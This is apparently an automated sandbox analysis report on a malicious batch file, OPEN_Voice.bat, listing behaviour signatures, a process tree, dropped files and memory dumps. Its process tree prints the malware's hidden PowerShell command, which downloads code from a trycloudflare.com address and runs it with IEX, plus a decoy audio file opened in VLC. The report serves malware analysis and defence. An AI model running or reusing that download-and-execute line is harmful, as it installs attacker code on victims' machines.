Analysis
- max time kernel
148s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
23/04/2026, 14:08
General
- Target OPEN_Voice.bat
- Size 49KB
- Sample260423-rfxffaew2p
- SHA256 aef1ebee4db9126c92e59580b5a7544013616f8a1b746bfcdd377864269ab1c9
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 9 IoCs
- Suspicious use of SendNotifyMessage 8 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OPEN_Voice.bat"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650012⤵
-
-
C:\Windows\system32\cscript.execscript //nologo C:\Users\Admin\AppData\Local\Temp\eeNBYwxvD347.vbs2⤵
-
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\czGorUiYE434.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Nologo -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://quote-texas-son-manufactured.trycloudflare.com/lookuphistoryofaudio -UseBasicParsing | IEX "3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\BKPFwvhk541.m4a"2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
BKPFwvhk541.m4a
__PSScriptPolicyTest_5d2caiiw.rf2.ps1
czGorUiYE434.vbs
eeNBYwxvD347.vbs
xCNoUvpqpUyK763.b64
xCNoUvpqpUyK763.b64
memory/1272-435-0x000001F12B9A0000-0x000001F12B9C2000-memory.dmp
memory/1272-441-0x000001F12B980000-0x000001F12B989000-memory.dmp
memory/1272-440-0x000001F113350000-0x000001F113362000-memory.dmp
memory/1316-437-0x00000237051C0000-0x000002370535A000-memory.dmp
memory/4964-473-0x00007FFCB4C00000-0x00007FFCB4E45000-memory.dmp
memory/4964-466-0x00007FFCBDEB0000-0x00007FFCBDECA000-memory.dmp
memory/4964-447-0x0000013A01860000-0x0000013A019FA000-memory.dmp
memory/4964-450-0x00007FFCD6FD0000-0x00007FFCD6FE1000-memory.dmp
memory/4964-449-0x00007FFCBFAF0000-0x00007FFCBFDA6000-memory.dmp
memory/4964-457-0x00007FFCC0F70000-0x00007FFCC1042000-memory.dmp
memory/4964-458-0x00007FFCBC940000-0x00007FFCBCBD6000-memory.dmp
memory/4964-460-0x00007FFCBF360000-0x00007FFCBF443000-memory.dmp
memory/4964-446-0x00007FF7581B0000-0x00007FF7582A8000-memory.dmp
memory/4964-453-0x00007FFCBF7E0000-0x00007FFCBF80B000-memory.dmp
memory/4964-470-0x00007FFCBC690000-0x00007FFCBC728000-memory.dmp
memory/4964-469-0x00007FFCBC730000-0x00007FFCBC93B000-memory.dmp
memory/4964-472-0x00007FFCBC610000-0x00007FFCBC635000-memory.dmp
memory/4964-471-0x00007FFCBC640000-0x00007FFCBC68F000-memory.dmp
memory/4964-467-0x00007FFCBDE90000-0x00007FFCBDEA1000-memory.dmp
memory/4964-448-0x00007FFCC8350000-0x00007FFCC8384000-memory.dmp
memory/4964-465-0x00007FFCBE810000-0x00007FFCBE83D000-memory.dmp
memory/4964-468-0x00007FFCBDE30000-0x00007FFCBDE41000-memory.dmp
memory/4964-464-0x00007FFCBF1F0000-0x00007FFCBF216000-memory.dmp
memory/4964-463-0x00007FFCC0BC0000-0x00007FFCC0BD8000-memory.dmp
memory/4964-462-0x00007FFCBF330000-0x00007FFCBF35F000-memory.dmp
memory/4964-459-0x00007FFCC0E80000-0x00007FFCC0F68000-memory.dmp
memory/4964-461-0x00007FFCC0E30000-0x00007FFCC0E71000-memory.dmp
memory/4964-456-0x00007FFCC1050000-0x00007FFCC1061000-memory.dmp
memory/4964-455-0x00007FFCE1620000-0x00007FFCE1634000-memory.dmp
memory/4964-454-0x00007FFCBF450000-0x00007FFCBF7E0000-memory.dmp
memory/4964-452-0x00007FFCBF810000-0x00007FFCBF832000-memory.dmp
memory/4964-451-0x00007FFCCE450000-0x00007FFCCE469000-memory.dmp
memory/4964-783-0x0000013A01860000-0x0000013A019FA000-memory.dmp